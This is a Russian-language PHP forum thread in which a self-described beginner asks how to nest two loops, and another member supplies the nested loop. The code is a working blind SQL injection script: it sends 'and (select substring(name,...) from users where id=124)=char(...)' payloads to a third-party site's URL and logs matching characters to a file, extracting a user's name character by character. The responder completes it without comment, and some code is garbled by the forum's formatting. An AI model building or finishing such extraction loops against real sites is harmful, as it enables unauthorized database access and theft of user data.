Форум: Форум PHPФорум ApacheФорум Регулярные ВыраженияФорум MySQLHTML+CSS+JavaScriptФорум FlashРазное
Новые темы: 0000000
PHP 5/6. В подлиннике. Авторы: Кузнецов М.В., Симдянов И.В. MySQL 5. В подлиннике. Авторы: Кузнецов М.В., Симдянов И.В. PHP на примерах (2 издание). Авторы: Кузнецов М.В., Симдянов И.В. PHP. Практика создания Web-сайтов (второе издание). Авторы: Кузнецов М.В., Симдянов И.В. Программирование. Ступени успешной карьеры. Авторы: Кузнецов М.В., Симдянов И.В.
ВСЕ НАШИ КНИГИ
Консультационный центр SoftTime

Форум PHP

Выбрать другой форум

 

Здравствуйте, Посетитель!

вид форума:
Линейный форум Структурный форум

тема: циклы
 
 автор: adminn   (24.08.2013 в 15:10)   письмо автору
 
 

Добрый день.
Вообще не знаю пхп, но уже могу писать с ходу =) Помогите разобрать с циклами.


$t = "0";
for($i=0; $i<=128; $i++)
{
   $t+=$i;

$i2 = "1";

$li = "select+substring(name,".$i2.",1)+from+users+where+id=124)=char(".$i.")";

дальше код


Тут с помощью фор я делаю переменную i в цикле от 0 до 128 и дальнейший код работает у меня правильно.
Как мне сделать 2 переменные в цикле и что бы они работали поочередно.
Я хочу что бы в моем примере переменная i2 сначала получала значение 1, а переменная i проходила все вариа с 0 по 128, далее переменная i2 должна получить значение 2 , а переменная i пройти все значения от 0 до 128 и тд Вообщем как мог объяснил. Кто сможет подсказать новичку?

  Ответить  
 
 автор: confirm   (24.08.2013 в 15:25)   письмо автору
 
   для: adminn   (24.08.2013 в 15:10)
 

Переменные не делают, а объявляют.
Если вам надо повторить N-раз цикл от 0 до 128, значит этот цикл должен быть вложен в цикл, определяемый N. Можно поступить иначе - один цикл на N*128 итераций, в котором определять проходы.

  Ответить  
 
 автор: adminn   (24.08.2013 в 15:42)   письмо автору
 
   для: confirm   (24.08.2013 в 15:25)
 

Спасибо за замечание. Я новичок и мне нужна помощь на примере, попробую объяснить вам свой код. В переменной $li у меня ссылка на сайт, далее с помощью функции file_get_contents() я получаю контент сайта по ссылки и сравниваю его с переменной $good, если значение совпало, то я пишу переменную $perevod в файл. Проблема в том, что переменной $i2 нужно присвоить цикл и что бы он работал в таком порядке: $i2 = 1, далее проходит в цикле от 0 до 128 переменная $i и пишет все верные варианты , потом переменная $i2 получает значение 2 и проходит цикл $i с 0 до 128 и пишет все верные варианты в файл и т.д

ПОМОГИТЕ!

<?

$t 
"0";

for(
$i=0$i<=128$i++)
{
   
$t+=$i;


$i2 "1";

$li "http://site.ru/widgets/get.php?serviceid=1+and+(select+substring(name,".$i2.",1)+from+users+where+id=124)=char(".$i.")";




$sFile file_get_contents($liFalse$cxContext);

$good news"';

//echo 
$li;


switch(
$sFile)


{

case 
$good:

$f = fopen("logs-good.txt","a");

 

$perevod = $i."\r\n";


fputs(
$f$perevod);
fclose(
$f);



// echo ("
совпало");



    break;
    default:         
      echo ("
несовпало");






}


?>

  Ответить  
 
 автор: confirm   (24.08.2013 в 16:01)   письмо автору
 
   для: adminn   (24.08.2013 в 15:42)
 

У вас ошибка в коде - $good = news"'; бардак с кавычками, поэтому и все далее ошибка.
Не знаю что вы с чем сравниваете, но я вам уже сказал - чтобы некая переменная Т получала значения от 0 до N, и эти значения должны быть по истечении прохода цикла M, то необходимо знать конечное значение Т, так как иначе будет зацикливание. То есть, например:
<?
for($t=0$t<5$t++) {
    
//здесь все значения $t от 0 до 5
    
for($i=0$t<128$t++) {
         
//тут тело цикла от 0 до 128
    
}
}
//то есть всего пять проходов вложенного цикла по итерации счетчика $i
Если не известно конечное значение переменной $t, то в этом случае нужно знать некое иное условие по которому будет остановлен цикл. Иначе нельзя.

Я не понял что с чем сравнивается, так как file_get_contents получит html-содержимое страницы, и что в нем можно сравнивать с чем-то без разбора этого содержимого не могу даже представить. Полностью содержимое с уже сохраненным ранее таким же содержимым, один в один?

  Ответить  
 
 автор: adminn   (24.08.2013 в 16:26)   письмо автору
 
   для: confirm   (24.08.2013 в 16:01)
 

у меня нет ошибок, скрипт у меня работает правильно, с кавычками сейчас при вставке так получилось. По ссылке в контенте сайта слово news оно находится в переменной $good. Так же вам объяснить, что у меня не получается:

  Ответить  
 
 автор: adminn   (24.08.2013 в 16:32)   письмо автору
 
   для: adminn   (24.08.2013 в 16:26)
 

в переменной $li мне нужно с начало, что бы значение $i2 = 1, а переменная $i прошла в цикле от 0 до 128 и записала все положительные результаты в файл. У меня это работает и отлично, но как мне сделать цикл для переменной $i2 , что был переменная $i2 сначала имела значение 1 и прошел цикл переменной $i и записались все правильные значения, потом переменная $i2 = 2 и опять цикл переменной $i и записываем все правильные значения и так до 12 с этой переменной $i2

.
$li = "select+substring(name,".$i2.",1)+from+users+where+id=124)=char(".$i.")";


Помогите собрать цикл на моем примере, я уже как только не пробовал

  Ответить  
 
 автор: confirm   (24.08.2013 в 16:46)   письмо автору
 
   для: adminn   (24.08.2013 в 16:32)
 

Ну я же вам написал пример, с учетом от 1 до 12, значит:
<?
<? 
for(
$k=1$k<13$k++) { 
    for(
$i=0$i<128$i++) {
        
$li "select+substring(name,".$k.",1)+from+users+where+id=124)=char(".$i.")"
    } 
}

  Ответить  
Rambler's Top100
вверх

Rambler's Top100 Яндекс.Метрика Яндекс цитирования